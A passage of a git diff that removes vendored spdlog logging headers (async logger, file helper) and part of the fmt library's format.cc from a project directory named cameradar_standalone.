-to_short_str(spdlog::level::level_enum l) { - return short_level_names[l]; -} -} // level - -// -// Async overflow policy - block by default. -// -enum class async_overflow_policy { - block_retry, // Block / yield / sleep until message can be enqueued - discard_log_msg // Discard the message it enqueue fails -}; - -// -// Log exception -// -class spdlog_ex : public std::exception { -public: - explicit spdlog_ex(const std::string& msg) : _msg(msg) {} - const char* - what() const SPDLOG_NOEXCEPT override { - return _msg.c_str(); - } - -private: - std::string _msg; -}; - -} // spdlog diff --git a/cameradar_standalone/include/spdlog/details/async_log_helper.h b/cameradar_standalone/include/spdlog/details/async_log_helper.h deleted file mode 100644 index 3501039..0000000 --- a/cameradar_standalone/include/spdlog/details/async_log_helper.h +++ /dev/null @@ -1,313 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -// async log helper : -// Process logs asynchronously using a back thread. -// -// If the internal queue of log messages reaches its max size, -// then the client call will block until there is more room. -// -// If the back thread throws during logging, a spdlog::spdlog_ex exception -// will be thrown in client's thread when tries to log the next message - -#pragma once - -#include -#include -#include - -#include "../common.h" -#include "../sinks/sink.h" -#include "./mpmc_bounded_q.h" -#include "./log_msg.h" -#include "./format.h" -#include "./os.h" - -namespace spdlog { -namespace details { - -class async_log_helper { - // Async msg to move to/from the queue - // Movable only. should never be copied - enum class async_msg_type { log, flush, terminate }; - struct async_msg { - std::string logger_name; - level::level_enum level; - log_clock::time_point time; - size_t thread_id; - std::string txt; - async_msg_type msg_type; - - async_msg() = default; - ~async_msg() = default; - - async_msg(async_msg&& other) SPDLOG_NOEXCEPT : logger_name(std::move(other.logger_name)), - level(std::move(other.level)), - time(std::move(other.time)), - txt(std::move(other.txt)), - msg_type(std::move(other.msg_type)) {} - - async_msg(async_msg_type m_type) : msg_type(m_type){}; - - async_msg& operator=(async_msg&& other) SPDLOG_NOEXCEPT { - logger_name = std::move(other.logger_name); - level = other.level; - time = std::move(other.time); - thread_id = other.thread_id; - txt = std::move(other.txt); - msg_type = other.msg_type; - return *this; - } - - // never copy or assign. should only be moved.. - async_msg(const async_msg&) = delete; - async_msg& operator=(async_msg& other) = delete; - - // construct from log_msg - async_msg(const details::log_msg& m) - : logger_name(m.logger_name) - , level(m.level) - , time(m.time) - , thread_id(m.thread_id) - , txt(m.raw.data(), m.raw.size()) - , msg_type(async_msg_type::log) {} - - // copy into log_msg - void - fill_log_msg(log_msg& msg) { - msg.clear(); - msg.logger_name = logger_name; - msg.level = level; - msg.time = time; - msg.thread_id = thread_id; - msg.raw << txt; - } - }; - -public: - using item_type = async_msg; - using q_type = details::mpmc_bounded_queue; - - using clock = std::chrono::steady_clock; - - async_log_helper( - formatter_ptr formatter, - const std::vector& sinks, - size_t queue_size, - const async_overflow_policy overflow_policy = async_overflow_policy::block_retry, - const std::function& worker_warmup_cb = nullptr, - const std::chrono::milliseconds& flush_interval_ms = std::chrono::milliseconds::zero()); - - void log(const details::log_msg& msg); - - // stop logging and join the back thread - ~async_log_helper(); - - void set_formatter(formatter_ptr); - - void flush(); - -private: - formatter_ptr _formatter; - std::vector> _sinks; - - // queue of messages to log - q_type _q; - - bool _flush_requested; - - bool _terminate_requested; - - // last exception thrown from the worker thread - std::shared_ptr _last_workerthread_ex; - - // overflow policy - const async_overflow_policy _overflow_policy; - - // worker thread warmup callback - one can set thread priority, affinity, etc - const std::function _worker_warmup_cb; - - // auto periodic sink flush parameter - const std::chrono::milliseconds _flush_interval_ms; - - // worker thread - std::thread _worker_thread; - - void push_msg(async_msg&& new_msg); - // throw last worker thread exception or if worker thread is not active - - void throw_if_bad_worker(); - - // worker thread main loop - void worker_loop(); - - // pop next message from the queue and process it. will set the last_pop to the pop time - // return false if termination of the queue is required - bool process_next_msg(log_clock::time_point& last_pop, log_clock::time_point& last_flush); - - void handle_flush_interval(log_clock::time_point& now, log_clock::time_point& last_flush); - - // sleep,yield or return immediatly using the time passed since last message as a hint - static void sleep_or_yield(const spdlog::log_clock::time_point& now, - const log_clock::time_point& last_op_time); -}; -} -} - -/////////////////////////////////////////////////////////////////////////////// -// async_sink class implementation -/////////////////////////////////////////////////////////////////////////////// -inline spdlog::details::async_log_helper::async_log_helper( - formatter_ptr formatter, - const std::vector& sinks, - size_t queue_size, - const async_overflow_policy overflow_policy, - const std::function& worker_warmup_cb, - const std::chrono::milliseconds& flush_interval_ms) -: _formatter(formatter) -, _sinks(sinks) -, _q(queue_size) -, _flush_requested(false) -, _terminate_requested(false) -, _overflow_policy(overflow_policy) -, _worker_warmup_cb(worker_warmup_cb) -, _flush_interval_ms(flush_interval_ms) -, _worker_thread(&async_log_helper::worker_loop, this) {} - -// Send to the worker thread termination message(level=off) -// and wait for it to finish gracefully -inline spdlog::details::async_log_helper::~async_log_helper() { - try { - push_msg(async_msg(async_msg_type::terminate)); - _worker_thread.join(); - } catch (...) // don't crash in destructor - {} -} - -// Try to push and block until succeeded -inline void -spdlog::details::async_log_helper::log(const details::log_msg& msg) { - push_msg(async_msg(msg)); -} - -// Try to push and block until succeeded -inline void -spdlog::details::async_log_helper::push_msg(details::async_log_helper::async_msg&& new_msg) { - throw_if_bad_worker(); - if (!_q.enqueue(std::move(new_msg)) && - _overflow_policy != async_overflow_policy::discard_log_msg) { - auto last_op_time = details::os::now(); - auto now = last_op_time; - do { - now = details::os::now(); - sleep_or_yield(now, last_op_time); - } while (!_q.enqueue(std::move(new_msg))); - } -} - -inline void -spdlog::details::async_log_helper::flush() { - push_msg(async_msg(async_msg_type::flush)); -} - -inline void -spdlog::details::async_log_helper::worker_loop() { - try { - if (_worker_warmup_cb) _worker_warmup_cb(); - auto last_pop = details::os::now(); - auto last_flush = last_pop; - while (process_next_msg(last_pop, last_flush)) - ; - } catch (const std::exception& ex) { - _last_workerthread_ex = std::make_shared( - std::string("async_logger worker thread exception: ") + ex.what()); - } catch (...) { - _last_workerthread_ex = std::make_shared("async_logger worker thread exception"); - } -} - -// process next message in the queue -// return true if this thread should still be active (no msg with level::off was received) -inline bool -spdlog::details::async_log_helper::process_next_msg(log_clock::time_point& last_pop, - log_clock::time_point& last_flush) { - async_msg incoming_async_msg; - log_msg incoming_log_msg; - - if (_q.dequeue(incoming_async_msg)) { - last_pop = details::os::now(); - switch (incoming_async_msg.msg_type) { - case async_msg_type::flush: _flush_requested = true; break; - - case async_msg_type::terminate: - _flush_requested = true; - _terminate_requested = true; - break; - - default: - incoming_async_msg.fill_log_msg(incoming_log_msg); - _formatter->format(incoming_log_msg); - for (auto& s : _sinks) s->log(incoming_log_msg); - } - return true; - } - - // Handle empty queue.. - // This is the only place where the queue can terminate or flush to avoid losing messages - // already in the queue - else { - auto now = details::os::now(); - handle_flush_interval(now, last_flush); - sleep_or_yield(now, last_pop); - return !_terminate_requested; - } -} - -inline void -spdlog::details::async_log_helper::handle_flush_interval(log_clock::time_point& now, - log_clock::time_point& last_flush) { - auto should_flush = - _flush_requested || (_flush_interval_ms != std::chrono::milliseconds::zero() && - now - last_flush >= _flush_interval_ms); - if (should_flush) { - for (auto& s : _sinks) s->flush(); - now = last_flush = details::os::now(); - _flush_requested = false; - } -} -inline void -spdlog::details::async_log_helper::set_formatter(formatter_ptr msg_formatter) { - _formatter = msg_formatter; -} - -// sleep,yield or return immediatly using the time passed since last message as a hint -inline void -spdlog::details::async_log_helper::sleep_or_yield( - const spdlog::log_clock::time_point& now, const spdlog::log_clock::time_point& last_op_time) { - using std::chrono::milliseconds; - using namespace std::this_thread; - - auto time_since_op = now - last_op_time; - - // spin upto 1 ms - if (time_since_op <= milliseconds(1)) return; - - // yield upto 10ms - if (time_since_op <= milliseconds(10)) return yield(); - - // sleep for half of duration since last op - if (time_since_op <= milliseconds(100)) return sleep_for(time_since_op / 2); - - return sleep_for(milliseconds(100)); -} - -// throw if the worker thread threw an exception or not active -inline void -spdlog::details::async_log_helper::throw_if_bad_worker() { - if (_last_workerthread_ex) { - auto ex = std::move(_last_workerthread_ex); - throw * ex; - } -} diff --git a/cameradar_standalone/include/spdlog/details/async_logger_impl.h b/cameradar_standalone/include/spdlog/details/async_logger_impl.h deleted file mode 100644 index 368eaaa..0000000 --- a/cameradar_standalone/include/spdlog/details/async_logger_impl.h +++ /dev/null @@ -1,72 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -// Async Logger implementation -// Use an async_sink (queue per logger) to perform the logging in a worker thread - -#include "./async_log_helper.h" - -template -inline spdlog::async_logger::async_logger(const std::string& logger_name, - const It& begin, - const It& end, - size_t queue_size, - const async_overflow_policy overflow_policy, - const std::function& worker_warmup_cb, - const std::chrono::milliseconds& flush_interval_ms) -: logger(logger_name, begin, end) -, _async_log_helper(new details::async_log_helper( - _formatter, _sinks, queue_size, overflow_policy, worker_warmup_cb, flush_interval_ms)) {} - -inline spdlog::async_logger::async_logger(const std::string& logger_name, - sinks_init_list sinks, - size_t queue_size, - const async_overflow_policy overflow_policy, - const std::function& worker_warmup_cb, - const std::chrono::milliseconds& flush_interval_ms) -: async_logger(logger_name, - sinks.begin(), - sinks.end(), - queue_size, - overflow_policy, - worker_warmup_cb, - flush_interval_ms) {} - -inline spdlog::async_logger::async_logger(const std::string& logger_name, - sink_ptr single_sink, - size_t queue_size, - const async_overflow_policy overflow_policy, - const std::function& worker_warmup_cb, - const std::chrono::milliseconds& flush_interval_ms) -: async_logger(logger_name, - { single_sink }, - queue_size, - overflow_policy, - worker_warmup_cb, - flush_interval_ms) {} - -inline void -spdlog::async_logger::flush() { - _async_log_helper->flush(); -} - -inline void -spdlog::async_logger::_set_formatter(spdlog::formatter_ptr msg_formatter) { - _formatter = msg_formatter; - _async_log_helper->set_formatter(_formatter); -} - -inline void -spdlog::async_logger::_set_pattern(const std::string& pattern) { - _formatter = std::make_shared(pattern); - _async_log_helper->set_formatter(_formatter); -} - -inline void -spdlog::async_logger::_log_msg(details::log_msg& msg) { - _async_log_helper->log(msg); -} diff --git a/cameradar_standalone/include/spdlog/details/file_helper.h b/cameradar_standalone/include/spdlog/details/file_helper.h deleted file mode 100644 index 5e1fe43..0000000 --- a/cameradar_standalone/include/spdlog/details/file_helper.h +++ /dev/null @@ -1,117 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -// Helper class for file sink -// When failing to open a file, retry several times(5) with small delay between the tries(10 ms) -// Can be set to auto flush on every line -// Throw spdlog_ex exception on errors - -#include -#include -#include -#include "os.h" -#include "log_msg.h" - -namespace spdlog { -namespace details { - -class file_helper { -public: - const int open_tries = 5; - const int open_interval = 10; - - explicit file_helper(bool force_flush) : _fd(nullptr), _force_flush(force_flush) {} - - file_helper(const file_helper&) = delete; - file_helper& operator=(const file_helper&) = delete; - - ~file_helper() { close(); } - - void - open(const std::string& fname, bool truncate = false) { - close(); - const char* mode = truncate ? "wb" : "ab"; - _filename = fname; - for (int tries = 0; tries < open_tries; ++tries) { - if (!os::fopen_s(&_fd, fname, mode)) return; - - std::this_thread::sleep_for(std::chrono::milliseconds(open_interval)); - } - - throw spdlog_ex("Failed opening file " + fname + " for writing"); - } - - void - reopen(bool truncate) { - if (_filename.empty()) throw spdlog_ex("Failed re opening file - was not opened before"); - open(_filename, truncate); - } - - void - flush() { - std::fflush(_fd); - } - - void - close() { - if (_fd) { - std::fclose(_fd); - _fd = nullptr; - } - } - - void - write_string(const std::string& msg) { - if (std::fwrite(msg.c_str(), 1, msg.size(), _fd) != msg.size()) - throw spdlog_ex("Failed writing to file " + _filename); - - if (_force_flush) std::fflush(_fd); - } - - void - write(const log_msg& msg) { - size_t msg_size = msg.formatted.size(); - auto data = msg.formatted.data(); - if (std::fwrite(data, 1, msg_size, _fd) != msg_size) - throw spdlog_ex("Failed writing to file " + _filename); - - if (_force_flush) std::fflush(_fd); - } - - long - size() { - if (!_fd) throw spdlog_ex("Cannot use size() on closed file " + _filename); - - auto pos = ftell(_fd); - if (fseek(_fd, 0, SEEK_END) != 0) throw spdlog_ex("fseek failed on file " + _filename); - - auto file_size = ftell(_fd); - - if (fseek(_fd, pos, SEEK_SET) != 0) throw spdlog_ex("fseek failed on file " + _filename); - - if (file_size == -1) throw spdlog_ex("ftell failed on file " + _filename); - - return file_size; - } - - const std::string& - filename() const { - return _filename; - } - - static bool - file_exists(const std::string& name) { - return os::file_exists(name); - } - -private: - FILE* _fd; - std::string _filename; - bool _force_flush; -}; -} -} diff --git a/cameradar_standalone/include/spdlog/details/format.cc b/cameradar_standalone/include/spdlog/details/format.cc deleted file mode 100644 index e396688..0000000 --- a/cameradar_standalone/include/spdlog/details/format.cc +++ /dev/null @@ -1,934 +0,0 @@ -/* -Formatting library for C++ - -Copyright (c) 2012 - 2015, Victor Zverovich -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this -list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, -this list of conditions and the following disclaimer in the documentation -and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - -#include "format.h" - -#include - -#include -#include -#include -#include -#include -#include // for std::ptrdiff_t - -#if defined(_WIN32) && defined(__MINGW32__) -#include -#endif - -#if FMT_USE_WINDOWS_H -#if defined(NOMINMAX) || defined(FMT_WIN_MINMAX) -#include -#else -#define NOMINMAX -#include -#undef NOMINMAX -#endif -#endif - -using fmt::internal::Arg; - -#if FMT_EXCEPTIONS -#define FMT_TRY try -#define FMT_CATCH(x) catch (x) -#else -#define FMT_TRY if (true) -#define FMT_CATCH(x) if (false) -#endif - -#ifdef FMT_HEADER_ONLY -#define FMT_FUNC inline -#else -#define FMT_FUNC -#endif - -#ifdef _MSC_VER -#pragma warning(push) -#pragma warning(disable : 4127) // conditional expression is constant -#pragma warning(disable : 4702) // unreachable code -// Disable deprecation warning for strerror. The latter is not called but -// MSVC fails to detect it. -#pragma warning(disable : 4996) -#endif - -// Dummy implementations of strerror_r and strerror_s called if corresponding -// system functions are not available. -static inline fmt::internal::Null<> -strerror_r(int, char*, ...) { - return fmt::internal::Null<>(); -} -static inline fmt::internal::Null<> -strerror_s(char*, std::size_t, ...) { - return fmt::internal::Null<>(); -} - -namespace fmt { -namespace { - -#ifndef _MSC_VER -#define FMT_SNPRINTF snprintf -#else // _MSC_VER -inline int -fmt_snprintf(char* buffer, size_t size, const char* format, ...) { - va_list args; - va_start(args, format); - int result = vsnprintf_s(buffer, size, _TRUNCATE, format, args); - va_end(args); - return result; -} -#define FMT_SNPRINTF fmt_snprintf -#endif // _MSC_VER - -#if defined(_WIN32) && defined(__MINGW32__) && !defined(__NO_ISOCEXT) -#define FMT_SWPRINTF snwprintf -#else -#define FMT_SWPRINTF swprintf -#endif // defined(_WIN32) && defined(__MINGW32__) && !defined(__NO_ISOCEXT) - -// Checks if a value fits in int - used to avoid warnings about comparing -// signed and unsigned integers. -template -struct IntChecker { - template - static bool - fits_in_int(T value) { - unsigned max = INT_MAX; - return value <= max; - } - static bool - fits_in_int(bool) { - return true; - } -}; - -template <> -struct IntChecker { - template - static bool - fits_in_int(T value) { - return value >= INT_MIN && value <= INT_MAX; - } - static bool - fits_in_int(int) { - return true; - } -}; - -const char RESET_COLOR[] = "\x1b[0m"; - -typedef void (*FormatFunc)(fmt::Writer&, int, fmt::StringRef); - -// Portable thread-safe version of strerror. -// Sets buffer to point to a string describing the error code. -// This can be either a pointer to a string stored in buffer, -// or a pointer to some static immutable string. -// Returns one of the following values: -// 0 - success -// ERANGE - buffer is not large enough to store the error message -// other - failure -// Buffer should be at least of size 1. -int -safe_strerror(int error_code, char*& buffer, std::size_t buffer_size) FMT_NOEXCEPT { - FMT_ASSERT(buffer != 0 && buffer_size != 0, "invalid buffer"); - - class StrError { - private: - int error_code_; - char*& buffer_; - std::size_t buffer_size_; - - // A noop assignment operator to avoid bogus warnings. - void operator=(const StrError&) {} - - // Handle the result of XSI-compliant version of strerror_r. - int - handle(int result) { - // glibc versions before 2.13 return result in errno. - return result == -1 ? errno : result; - } - - // Handle the result of GNU-specific version of strerror_r. - int - handle(char* message) { - // If the buffer is full then the message is probably truncated. - if (message == buffer_ && strlen(buffer_) == buffer_size_ - 1) return ERANGE; - buffer_ = message; - return 0; - } - - // Handle the case when strerror_r is not available. - int handle(fmt::internal::Null<>) { - return fallback(strerror_s(buffer_, buffer_size_, error_code_)); - } - - // Fallback to strerror_s when strerror_r is not available. - int - fallback(int result) { - // If the buffer is full then the message is probably truncated. - return result == 0 && strlen(buffer_) == buffer_size_ - 1 ? ERANGE : result; - } - - // Fallback to strerror if strerror_r and strerror_s are not available. - int fallback(fmt::internal::Null<>) { - errno = 0; - buffer_ = strerror(error_code_); - return errno; - } - - public: - StrError(int err_code, char*& buf, std::size_t buf_size) - : error_code_(err_code), buffer_(buf), buffer_size_(buf_size) {} - - int - run() { - strerror_r(0, 0, ""); // Suppress a warning about unused strerror_r. - return handle(strerror_r(error_code_, buffer_, buffer_size_)); - } - }; - return StrError(error_code, buffer, buffer_size).run(); -} - -void -format_error_code(fmt::Writer& out, int error_code, fmt::StringRef message) FMT_NOEXCEPT { - // Report error code making sure that the output fits into - // INLINE_BUFFER_SIZE to avoid dynamic memory allocation and potential - // bad_alloc. - out.clear(); - static const char SEP[] = ": "; - static const char ERROR_STR[] = "error "; - fmt::internal::IntTraits::MainType ec_value = error_code; - // Subtract 2 to account for terminating null characters in SEP and ERROR_STR. - std::size_t error_code_size = sizeof(SEP) + sizeof(ERROR_STR) - 2; - error_code_size += fmt::internal::count_digits(ec_value); - if (message.size() <= fmt::internal::INLINE_BUFFER_SIZE - error_code_size) - out << message << SEP; - out << ERROR_STR << error_code; - assert(out.size() <= fmt::internal::INLINE_BUFFER_SIZE); -} - -void -report_error(FormatFunc func, int error_code, fmt::StringRef message) FMT_NOEXCEPT { - fmt::MemoryWriter full_message; - func(full_message, error_code, message); - // Use Writer::data instead of Writer::c_str to avoid potential memory - // allocation. - std::fwrite(full_message.data(), full_message.size(), 1, stderr); - std::fputc('\n', stderr); -} - -// IsZeroInt::visit(arg) returns true iff arg is a zero integer. -class IsZeroInt : public fmt::internal::ArgVisitor { -public: - template - bool - visit_any_int(T value) { - return value == 0; - } -}; - -// Checks if an argument is a valid printf width specifier and sets -// left alignment if it is negative. -class WidthHandler : public fmt::internal::ArgVisitor { -private: - fmt::FormatSpec& spec_; - - FMT_DISALLOW_COPY_AND_ASSIGN(WidthHandler); - -public: - explicit WidthHandler(fmt::FormatSpec& spec) : spec_(spec) {} - - void - report_unhandled_arg() { - FMT_THROW(fmt::FormatError("width is not integer")); - } - - template - unsigned - visit_any_int(T value) { - typedef typename fmt::internal::IntTraits::MainType UnsignedType; - UnsignedType width = value; - if (fmt::internal::is_negative(value)) { - spec_.align_ = fmt::ALIGN_LEFT; - width = 0 - width; - } - if (width > INT_MAX) FMT_THROW(fmt::FormatError("number is too big")); - return static_cast(width); - } -}; - -class PrecisionHandler : public fmt::internal::ArgVisitor { -public: - void - report_unhandled_arg() { - FMT_THROW(fmt::FormatError("precision is not integer")); - } - - template - int - visit_any_int(T value) { - if (!IntChecker::is_signed>::fits_in_int(value)) - FMT_THROW(fmt::FormatError("number is too big")); - return static_cast(value); - } -}; - -// Converts an integer argument to an integral type T for printf. -template -class ArgConverter : public fmt::internal::ArgVisitor, void> { -private: - fmt::internal::Arg& arg_; - wchar_t type_; - - FMT_DISALLOW_COPY_AND_ASSIGN(ArgConverter); - -public: - ArgConverter(fmt::internal::Arg& arg, wchar_t type) : arg_(arg), type_(type) {} - - void - visit_bool(bool value) { - if (type_ != 's') visit_any_int(value); - } - - template - void - visit_any_int(U value) { - bool is_signed = type_ == 'd' || type_ == 'i'; - using fmt::internal::Arg; - if (sizeof(T) <= sizeof(int)) { - // Extra casts are used to silence warnings. - if (is_signed) { - arg_.type = Arg::INT; - arg_.int_value = static_cast(static_cast(value)); - } else { - arg_.type = Arg::UINT; - arg_.uint_value = static_cast( - static_cast::Type>(value)); - } - } else { - if (is_signed) { - arg_.type = Arg::LONG_LONG; - arg_.long_long_value = - static_cast::Type>(value); - } else { - arg_.type = Arg::ULONG_LONG; - arg_.ulong_long_value = - static_cast::Type>(value); - } - } - } -}; - -// Converts an integer argument to char for printf. -class CharConverter : public fmt::internal::ArgVisitor { -private: - fmt::internal::Arg& arg_; - - FMT_DISALLOW_COPY_AND_ASSIGN(CharConverter); - -public: - explicit CharConverter(fmt::internal::Arg& arg) : arg_(arg) {} - - template - void - visit_any_int(T value) { - arg_.type = Arg::CHAR; - arg_.int_value = static_cast(value); - } -}; -} // namespace - -namespace internal { - -template -class PrintfArgFormatter : public ArgFormatterBase, Char> { - void - write_null_pointer() { - this->spec().type_ = 0; - this->write("(nil)"); - } - - typedef ArgFormatterBase, Char> Base; - -public: - PrintfArgFormatter(BasicWriter& w, FormatSpec& s) - : ArgFormatterBase, Char>(w, s) {} - - void - visit_bool(bool value) { - FormatSpec& fmt_spec = this->spec(); - if (fmt_spec.type_ != 's') return this->visit_any_int(value); - fmt_spec.type_ = 0; - this->write(value); - } - - void - visit_char(int value) { - const FormatSpec& fmt_spec = this->spec(); - BasicWriter& w = this->writer(); - if (fmt_spec.type_ && fmt_spec.type_ != 'c') w.write_int(value, fmt_spec); - typedef typename BasicWriter::CharPtr CharPtr; - CharPtr out = CharPtr(); - if (fmt_spec.width_ > 1) { - Char fill = ' '; - out = w.grow_buffer(fmt_spec.width_); - if (fmt_spec.align_ != ALIGN_LEFT) { - std::fill_n(out, fmt_spec.width_ - 1, fill); - out += fmt_spec.width_ - 1; - } else { - std::fill_n(out + 1, fmt_spec.width_ - 1, fill); - } - } else { - out = w.grow_buffer(1); - } - *out = static_cast(value); - } - - void - visit_cstring(const char* value) { - if (value) - Base::visit_cstring(value); - else if (this->spec().type_ == 'p') - write_null_pointer(); - else - this->write("(null)"); - } - - void - visit_pointer(const void* value) { - if (value) return Base::visit_pointer(value); - this->spec().type_ = 0; - write_null_pointer(); - } - - void - visit_custom(Arg::CustomValue c) { - BasicFormatter formatter(ArgList(), this->writer()); - const Char format_str[] = { '}', 0 }; - const Char* format = format_str; - c.format(&formatter, c.value, &format); - } -}; -} // namespace internal -} // namespace fmt - -FMT_FUNC void -fmt::SystemError::init(int err_code, CStringRef format_str, ArgList args) { - error_code_ = err_code; - MemoryWriter w; - internal::format_system_error(w, err_code, format(format_str, args)); - std::runtime_error& base = *this; - base = std::runtime_error(w.str()); -} - -template -int -fmt::internal::CharTraits::format_float( - char* buffer, std::size_t size, const char* format, unsigned width, int precision, T value) { - if (width == 0) { - return precision < 0 ? FMT_SNPRINTF(buffer, size, format, value) - : FMT_SNPRINTF(buffer, size, format, precision, value); - } - return precision < 0 ? FMT_SNPRINTF(buffer, size, format, width, value) - : FMT_SNPRINTF(buffer, size, format, width, precision, value); -} - -template -int -fmt::internal::CharTraits::format_float(wchar_t* buffer, - std::size_t size, - const wchar_t* format, - unsigned width, - int precision, - T value) { - if (width == 0) { - return precision < 0 ? FMT_SWPRINTF(buffer, size, format, value) - : FMT_SWPRINTF(buffer, size, format, precision, value); - } - return precision < 0 ? FMT_SWPRINTF(buffer, size, format, width, value) - : FMT_SWPRINTF(buffer, size, format, width, precision, value); -} - -template -const char fmt::internal::BasicData::DIGITS[] = - "0001020304050607080910111213141516171819" - "2021222324252627282930313233343536373839" - "4041424344454647484950515253545556575859" - "6061626364656667686970717273747576777879" - "8081828384858687888990919293949596979899"; - -#define FMT_POWERS_OF_10(factor) \ - factor * 10, factor * 100, factor * 1000, factor * 10000, factor * 100000, factor * 1000000, \ - factor * 10000000, factor * 100000000, factor * 1000000000 - -template -const uint32_t fmt::internal::BasicData::POWERS_OF_10_32[] = { 0, FMT_POWERS_OF_10(1) }; - -template -const uint64_t fmt::internal::BasicData::POWERS_OF_10_64[] = { - 0, - FMT_POWERS_OF_10(1), - FMT_POWERS_OF_10(fmt::ULongLong(1000000000)), - // Multiply several constants instead of using a single long long constant - // to avoid warnings about C++98 not supporting long long. - fmt::ULongLong(1000000000) * fmt::ULongLong(1000000000) * 10 -}; - -FMT_FUNC void -fmt::internal::report_unknown_type(char code, const char* type) { - (void)type; - if (std::isprint(static_cast(code))) { - FMT_THROW(fmt::FormatError(fmt::format("unknown format code '{}' for {}", code, type))); - } - FMT_THROW(fmt::FormatError( - fmt::format("unknown format code '\\x{:02x}' for {}", static_cast(code), type))); -} - -#if FMT_USE_WINDOWS_H - -FMT_FUNC -fmt::internal::UTF8ToUTF16::UTF8ToUTF16(fmt::StringRef s) { - static const char ERROR_MSG[] = "cannot convert string from UTF-8 to UTF-16"; - if (s.size() > INT_MAX) FMT_THROW(WindowsError(ERROR_INVALID_PARAMETER, ERROR_MSG)); - int s_size = static_cast(s.size()); - int length = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, s.data(), s_size, 0, 0); - if (length == 0) FMT_THROW(WindowsError(GetLastError(), ERROR_MSG)); - buffer_.resize(length + 1); - length = - MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, s.data(), s_size, &buffer_[0], length); - if (length == 0) FMT_THROW(WindowsError(GetLastError(), ERROR_MSG)); - buffer_[length] = 0; -} - -FMT_FUNC -fmt::internal::UTF16ToUTF8::UTF16ToUTF8(fmt::WStringRef s) { - if (int error_code = convert(s)) { - FMT_THROW(WindowsError(error_code, "cannot convert string from UTF-16 to UTF-8")); - } -} - -FMT_FUNC int -fmt::internal::UTF16ToUTF8::convert(fmt::WStringRef s) { - if (s.size() > INT_MAX) return ERROR_INVALID_PARAMETER; - int s_size = static_cast(s.size()); - int length = WideCharToMultiByte(CP_UTF8, 0, s.data(), s_size, 0, 0, 0, 0); - if (length == 0) return GetLastError(); - buffer_.resize(length + 1); - length = WideCharToMultiByte(CP_UTF8, 0, s.data(), s_size, &buffer_[0], length, 0, 0); - if (length == 0) return GetLastError(); - buffer_[length] = 0; - return 0; -} - -FMT_FUNC void -fmt::WindowsError::init(int err_code, CStringRef format_str, ArgList args) { - error_code_ = err_code; - MemoryWriter w; - internal::format_windows_error(w, err_code, format(format_str, args)); - std::runtime_error& base = *this; - base = std::runtime_error(w.str()); -} - -FMT_FUNC void -fmt::internal::format_windows_error(fmt::Writer& out, - int error_code, - fmt::StringRef message) FMT_NOEXCEPT { - class String { - private: - LPWSTR str_; - - public: - String() : str_() {} - ~String() { LocalFree(str_); } - LPWSTR* - ptr() { - return &str_; - } - LPCWSTR - c_str() const { - return str_; - } - }; - FMT_TRY { - String system_message; - if (FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | - FORMAT_MESSAGE_IGNORE_INSERTS, - 0, - error_code, - MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), - reinterpret_cast(system_message.ptr()), - 0, - 0)) { - UTF16ToUTF8 utf8_message; - if (utf8_message.convert(system_message.c_str()) == ERROR_SUCCESS) { - out << message << ": " << utf8_message; - return; - } - } - } - FMT_CATCH(...) {} - fmt::format_error_code(out, error_code, message); // 'fmt::' is for bcc32. -} - -#endif // FMT_USE_WINDOWS_H - -FMT_FUNC void -fmt::internal::format_system_error(fmt::Writer& out, - int error_code, - fmt::StringRef message) FMT_NOEXCEPT { - FMT_TRY { - MemoryBuffer buffer; - buffer.resize(INLINE_BUFFER_SIZE); - for (;;) { - char* system_message = &buffer[0]; - int result = safe_strerror(error_code, system_message, buffer.size()); - if (result == 0) { - out << message << ": " << system_message; - return; - } - if (result != ERANGE) break; // Can't get error message, report error code instead. - buffer.resize(buffer.size() * 2); - } - } - FMT_CATCH(...) {} - fmt::format_error_code(out, error_code, message); // 'fmt::' is for bcc32. -} - -template -void -fmt::internal::ArgMap::init(const ArgList& args) { - if (!map_.empty()) return; - typedef internal::NamedArg NamedArg; - const NamedArg* named_arg = 0; - bool use_values = args.type(ArgList::MAX_PACKED_ARGS - 1) == internal::Arg::NONE; - if (use_values) { - for (unsigned i = 0; /*nothing*/; ++i) { - internal::Arg::Type arg_type = args.type(i); - switch (arg_type) { - case internal::Arg::NONE: return; - case internal::Arg::NAMED_ARG: - named_arg = static_cast(args.values_[i].pointer); - map_.insert(Pair(named_arg->name, *named_arg)); - break; - default: - /*nothing*/ - ; - } - } - return; - } - for (unsigned i = 0; i != ArgList::MAX_PACKED_ARGS; ++i) { - internal::Arg::Type arg_type = args.type(i); - if (arg_type == internal::Arg::NAMED_ARG) { - named_arg = static_cast(args.args_[i].pointer); - map_.insert(Pair(named_arg->name, *named_arg)); - } - } - for (unsigned i = ArgList::MAX_PACKED_ARGS; 